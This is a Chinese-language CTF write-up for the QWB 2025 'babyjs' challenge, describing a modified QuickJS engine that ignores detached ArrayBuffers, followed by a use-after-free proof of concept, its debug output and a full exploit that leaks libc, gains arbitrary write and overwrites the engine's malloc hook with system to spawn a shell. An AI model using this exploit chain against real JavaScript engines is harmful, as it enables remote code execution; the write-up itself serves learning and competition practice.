[ayoung@blog posts]$ cat ./qwb 2025 babyjs.md

qwb 2025 babyjs

[Last modified: 2025-10-31]

分析

bindiff 发现js_typed_array_get_byteLength之类的函数变了,忽略了detached状态 调教ai(https://claude.ai/share/e114a002-2c59-42ca-8376-cb4556b317a2

筛选得到一个可用的poc

let ab = new ArrayBuffer(0x100);
let ta = new Uint8Array(ab);

console.log("[*] Before detach:");
console.log("    byteLength =", ta.byteLength); // 应该是 256

Math.min(ta);

// Detach ArrayBuffer (如果环境支持)
try {
    // 某些环境可以通过transferToFixedLength或postMessage detach
    // 这里尝试通过ArrayBuffer.transfer (新API)
    if (typeof ab.transfer === 'function') {
        ab.transfer();
    } else if (typeof ab.transferToFixedLength === 'function') {
        ab.transferToFixedLength();
    }
} catch(e) {
    console.log("[-] Detach method not available:", e.message);
}

console.log("\n[*] After detach attempt:");
let len = ta.byteLength;
console.log("    byteLength =", len); 
// 漏洞: 应该抛异常但返回了0
if (len === 0) {
    console.log("[!] VULNERABLE: byteLength is 0 without exception!");
    
    ta[0] = 0x41; // 触发UAF
    ta[1] = 0x42;
    console.log(ta.byteLength);
    for(let i = 0; i < 20; i++) {
        console.log("    ta[" + i + "] =", ta[i].toString(16));
    }
}

调试发现触发了uaf,可读写空闲chunk

➜  bin ./qjs backup/tttt.js
[*] Before detach:
    byteLength = 256

[*] After detach attempt:
    byteLength = 0
[!] VULNERABLE: byteLength is 0 without exception!
0
    ta[0] = 41
    ta[1] = 42
    ta[2] = 37
    ta[3] = 1d
    ta[4] = 6
    ta[5] = 0
    ta[6] = 0
    ta[7] = 0
    ta[8] = 3
    ta[9] = 89
    ta[10] = 78
    ta[11] = 66
    ta[12] = e5
    ta[13] = f3
    ta[14] = 4c
    ta[15] = 27
    ta[16] = 0
    ta[17] = 0
    ta[18] = 0
    ta[19] = 0

构造0x600堆块uaf直接泄漏libc基址

构造多个0x40 chunk,通过uaf占位到arraybuffer结构体,修改其中指向操作内存的指针,并重新创建一个typedarray实现任意地址写

最后索引到堆上存储的JSMallocFunctions结构,修改其中js_def_malloc为system地址,并在其+0x20处布置binsh参数,申请内存时触发调用getshell

exp

function del(ab){
    // Detach ArrayBuffer (如果环境支持)
    try {
        // 某些环境可以通过transferToFixedLength或postMessage detach
        // 这里尝试通过ArrayBuffer.transfer (新API)
        if (typeof ab.transfer === 'function') {
            ab.transfer();
        } else if (typeof ab.transferToFixedLength === 'function') {
            ab.transferToFixedLength();
        }
    } catch(e) {
    }
}

const a = [];
for (let i = 0; i < 0x10000; i++) {
    let abn = new ArrayBuffer(0x600);
    let tan = new BigUint64Array(abn);
    a.push(tan);
}

let ab1 = new ArrayBuffer(0x600);
let ta1 = new BigUint64Array(ab1);

del(ab1);

let len = ta1.byteLength;
let libc_base = 0n;
// 懒得调偏移了这里必须这么长
        
const leak_addr = ta1[0];
libc_base = leak_addr - 0x203b20n;


let ablist = [];
let talist = [];
const cnt = 6;
for (let i = 0; i < cnt; i++) {
    let abn = new ArrayBuffer(0x30);
    let tan = new BigUint64Array(abn);
    ablist.push(abn);
    talist.push(tan);
}

for (let i = 0; i < cnt; i++) {
    del(ablist[i]);
}
Math.min(1,2);

let ablist2 = [];
let talist2 = [];
for (let i = 0; i < cnt; i++) {
    let abn = new ArrayBuffer(0x100);
    let tan = new BigUint64Array(abn);
    tan[0] = 0x4141414141414141n+BigInt(i);
    ablist2.push(abn);
    talist2.push(tan);
}

for (let i = 0; i < cnt; i++) {
    console.log("[*] talist["+i+"][2]: 0x" + talist[i][2].toString(16));
}
let heap_ptr = talist[4][2];
let control_addr = talist[4];
let js_malloc_ptr = heap_ptr-0x791e8e0n-0xb0n;

control_addr[2] = js_malloc_ptr;
let control_addr_ct = new BigUint64Array(ablist2[1]);
console.log("[*] heap_ptr: 0x" + heap_ptr.toString(16));
console.log("[*] js_malloc_ptr: 0x" + js_malloc_ptr.toString(16));
control_addr_ct[4]=0x0068732f6e69622fn;
control_addr_ct[0]=libc_base+0x58750n;

Math.min(1,2);
new ArrayBuffer(0x100);

reference

https://maplebacon.org/2024/05/sdctf-slowjspp/ https://chovid99.github.io/posts/asis-ctf-finals-2023/#gaining-rce https://a1ex.online/2021/09/27/TCTF-final-Promise-JSpwn%E9%A2%98%E8%A7%A3/ https://xz.aliyun.com/news/6534#toc-0